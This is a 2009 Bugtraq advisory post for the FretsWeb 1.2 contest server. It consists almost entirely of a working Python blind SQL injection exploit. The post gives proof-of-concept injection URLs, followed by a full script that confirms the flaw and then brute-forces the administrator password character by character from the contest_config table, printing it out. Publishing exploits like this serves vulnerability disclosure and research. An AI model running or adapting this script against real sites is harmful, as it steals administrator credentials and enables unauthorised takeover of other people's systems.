bugtraq - (GET var 'name') BLIND SQL INJECTION EXPLOIT --FretsWeb 1.2-->

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Message-ID: <20090619152352.10824.qmail@securityfocus.com>
Date: 19 Jun 2009 15:23:52 -0000
From: y3nh4ck3r@...il.com
To: bugtraq@...urityfocus.com
Subject: (GET var 'name') BLIND SQL INJECTION EXPLOIT --FretsWeb 1.2-->

#!/usr/bin/python
#----------------------------------------------------------------
#(GET var 'name') BLIND SQL INJECTION EXPLOIT --FretsWeb 1.2-->
#----------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://sourceforge.net/projects/fretsweb/
#-->DOWNLOAD: http://sourceforge.net/projects/fretsweb/
#-->DEMO: N/A
#-->CATEGORY: CMS / Games/Entertainment
#-->DESCRIPTION: Fretsweb is a Contest or Chart Server for Frets on Fire. It...
#		is an improved version of FoFCS.It is meant for...
#-->RELEASED: 2009-05-30
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: N/A
#-->CATEGORY: BLIND SQLi PYTHON EXPLOIT
#-->AFFECT VERSION: CURRENT (MAYBE <= ?)
#-->Discovered Bug date: 2009-06-02
#-->Reported Bug date: 2009-06-02
#-->Fixed bug date: 2009-06-14
#-->Info patch: http://sourceforge.net/projects/fretsweb/
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid name
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[PATH]/player.php?name=[valid_name]'+and+1=1%23 --> TRUE
#http://[HOST]/[PATH]/player.php?name=[valid_name]'+AND+1=0%23 --> FALSE
#
#
#http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=1%23 --> TRUE
#http://[HOST]/[PATH]/song.php?hash=[valid_song]'+and+1=0%23 --> FALSE
#
#--------------
#WATCH VIDEOS
#--------------
#
# BSQLi --> http://www.youtube.com/watch?v=BYrkuAN2ggI
#
# LFI --> http://www.youtube.com/watch?v=LZ8cG_sIHow
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#Used modules
import urllib,sys,re,os
#Defined functions
def init():
	if(sys.platform=='win32'):
		os.system("cls")
		os.system ("title FretsWeb 1.2 Blind SQL Injection Exploit")
		os.system ("color 02")
	else:
		os.system("clear")
	print "\t#######################################################\n\n"
	print "\t#######################################################\n\n"
	print "\t##     FretsWeb 1.2 Blind SQL Injection Exploit      ##\n\n"
	print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n"
	print "\t##       ++Needed: Valid name                        ##\n\n"
	print "\t##               Author: Y3nh4ck3r                   ##\n\n"
	print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n"
	print "\t##            Proud to be Spanish!                   ##\n\n"
	print "\t#######################################################\n\n"
	print "\t#######################################################\n\n"
	
def request(urltarget):
	conn=urllib.urlopen(urltarget)
	outcode=conn.read()
	#print outcode #--> Active this line for debugger mode
	return outcode

def error():
	print "\t------------------------------------------------------------\n"
	print "\tWeb isn't vulnerable!\n\n"
	print "\t--->Maybe:\n\n"
	print "\t\t1.-Patched.\n"
	print "\t\t2.-Bad path or host.\n"
	print "\t\t3.-Bad name.\n"
	print "\t\t4.-Magic quotes ON.\n"
	print "\t\tEXPLOIT FAILED!\n"
	print "\t------------------------------------------------------------\n"
	sys.exit()

def testedblindsql():
	print "\t-----------------------------------------------------------------\n"
	print "\tWEB MAYBE BE VULNERABLE!\n\n"
	print "\tTested Blind SQL Injection.\n"		
	print "\tStarting exploit...\n"
	print "\t-----------------------------------------------------------------\n\n"

def helper(filename):
	print "\n\t[!!!] FretsWeb 1.2 Blind SQL Injection Exploit\n"
	print "\t[!!!] USAGE MODE: [!!!]\n"
	print "\t[!!!] python "+filename+" [HOST] [PATH] [NAME]\n"
	print "\t[!!!] [HOST]: Web.\n"
	print "\t[!!!] [PATH]: Home Path.\n"
	print "\t[!!!] [NAME]: Name for fish\n"
	print "\t[!!!] Example: python "+filename+" 'www.example.com' 'demo' 'y3nh4ck3r'\n"
	sys.exit()
	
def brute_length(urlrequest):
	#Username length
	flag=1
	i=0
	while(flag==1):
		i=i+1
		blindsql=urlrequest+"'+AND+(SELECT+length(value)+FROM+contest_config+WHERE+name='admin_password')="+str(i)+"%23" #injected code
		output=request(blindsql)
		if(re.search("<title>Fretsweb - Player</title>",output)):
			flag=2
		else:
			flag=1
		#This is the max length of username
		if (i>50):
			error()
		#Save column length
	length=i
	print "\t<<<<<--------------------------------------------------------->>>>>\n"
	print "\tLength catched!\n"
	print "\tLength Username --> "+str(length)+"\n"
	print "\tWait several minutes...\n"
	print "\t<<<<<--------------------------------------------------------->>>>>\n\n"
	return length
	
def exploiting (lengthvalue,urlrequest):
	#Bruteforcing values
	values=""
	k=1
	z=32
	while((k<=lengthvalue) and (z<=126)):
		blindsql=urlrequest+"'+AND+ascii(substring((SELECT+value+FROM+contest_config+WHERE+name='admin_password'),"+str(k)+",1))="+str(z)+"%23" #injected code
		output=request(blindsql)
		if(re.search("<title>Fretsweb - Player</title>",output)):
			values=values+chr(z)
			k=k+1
			z=32
#new char
		z=z+1 
	return values
#Main
init()
#Init variables
if(len(sys.argv) <= 3):
    helper(sys.argv[0])

host=sys.argv[1]
path=sys.argv[2]
nameforfish=sys.argv[3]
finalrequest="http://"+host+"/"+path+"/player.php?name="+nameforfish
testblind1=finalrequest+"'+AND+1=1%23" #Return true
outcode1=request(testblind1)
testblind2=finalrequest+"'+AND+1=0%23" #Return false
outcode2=request(testblind2)
#Check BSQLi
if(outcode1==outcode2):
	error()
else:
	testedblindsql()
#Catching length of admin password
lengthadmin=brute_length(finalrequest)
#Catching value of password (not hashed)
passwordadmin=exploiting(lengthadmin,finalrequest)
print "\n\t\t*************************************************\n"
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n"
print "\t\t*************************************************\n\n"
print "\t\tAdmin-password: "+passwordadmin+"\n\n"
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n"
print "\t\t<<------------------------EOF---------------------->>\n\n"
#Check all arguments